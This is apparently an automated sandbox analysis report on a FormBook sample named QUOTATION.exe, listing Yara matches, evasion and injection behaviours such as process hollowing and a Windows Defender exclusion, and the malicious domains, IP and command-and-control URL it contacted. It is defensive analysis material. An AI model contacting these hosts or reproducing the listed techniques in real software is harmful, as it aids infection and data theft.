Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 17.0.QUOTATION.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.QUOTATION.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.QUOTATION.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000018.00000002.545684823.0000000000D50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000000.332122675.000000000FD1B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.545105999.0000000000730000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.376958826.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.296229460.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.378010421.0000000000B40000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.545541618.0000000000D20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.295558217.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.300134534.0000000003739000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.378361969.0000000000F70000.00000040.00020000.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 17.0.QUOTATION.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.QUOTATION.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.QUOTATION.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.QUOTATION.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000018.00000002.545684823.0000000000D50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000000.332122675.000000000FD1B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.545105999.0000000000730000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.376958826.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.296229460.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.378010421.0000000000B40000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.545541618.0000000000D20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.295558217.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.300134534.0000000003739000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.378361969.0000000000F70000.00000040.00020000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 532906 Sample: QUOTATION.exe Startdate: 02/12/2021 Architecture: WINDOWS Score: 100 45 www.archedbeautynw.com 2->45 51 Found malware configuration 2->51 53 Malicious sample detected (through community Yara rule) 2->53 55 Antivirus detection for URL or domain 2->55 57 11 other signatures 2->57 10 QUOTATION.exe 7 2->10         started        signatures3 process4 file5 39 C:\Users\user\AppData\...\lQdAGavApIJoo.exe, PE32 10->39 dropped 41 C:\Users\user\AppData\Local\...\tmp8E88.tmp, XML 10->41 dropped 43 C:\Users\user\AppData\...\QUOTATION.exe.log, ASCII 10->43 dropped 69 Uses schtasks.exe or at.exe to add and modify task schedules 10->69 71 Uses netstat to query active network connections and open ports 10->71 73 Adds a directory exclusion to Windows Defender 10->73 75 Tries to detect virtualization through RDTSC time measurements 10->75 14 QUOTATION.exe 10->14         started        17 powershell.exe 24 10->17         started        19 schtasks.exe 1 10->19         started        21 QUOTATION.exe 10->21         started        signatures6 process7 signatures8 77 Modifies the context of a thread in another process (thread injection) 14->77 79 Maps a DLL or memory area into another process 14->79 81 Sample uses process hollowing technique 14->81 83 Queues an APC in another process (thread injection) 14->83 23 NETSTAT.EXE 14->23         started        26 explorer.exe 14->26 injected 29 conhost.exe 17->29         started        31 conhost.exe 19->31         started        process9 dnsIp10 59 Self deletion via cmd delete 23->59 61 Modifies the context of a thread in another process (thread injection) 23->61 63 Maps a DLL or memory area into another process 23->63 65 Tries to detect virtualization through RDTSC time measurements 23->65 33 cmd.exe 1 23->33         started        47 purelai.store 208.51.62.42, 49786, 80 NETRANGEUS United States 26->47 49 www.purelai.store 26->49 67 System process connects to network (likely due to code injection or exploit) 26->67 35 autoconv.exe 26->35         started        signatures11 process12 process13 37 conhost.exe 33->37         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
208.51.62.42
 purelai.store United States
17139 NETRANGEUS true

Contacted Domains

Name IP Active
purelai.store 208.51.62.42 true
www.archedbeautynw.com 192.185.0.218 true
www.purelai.store unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.purelai.store/p2r0/?U2JXS=kHZbGirW+rtifSnrplUrhxYS41BJcQ1JCeh0wMn6PQuFvfZqsbftW9WXbX4R7rV3sWuJ&cH=-ZeTxXnX true
  • Avira URL Cloud: malware
 unknown
www.purelai.store/p2r0/ true
  • Avira URL Cloud: malware
 low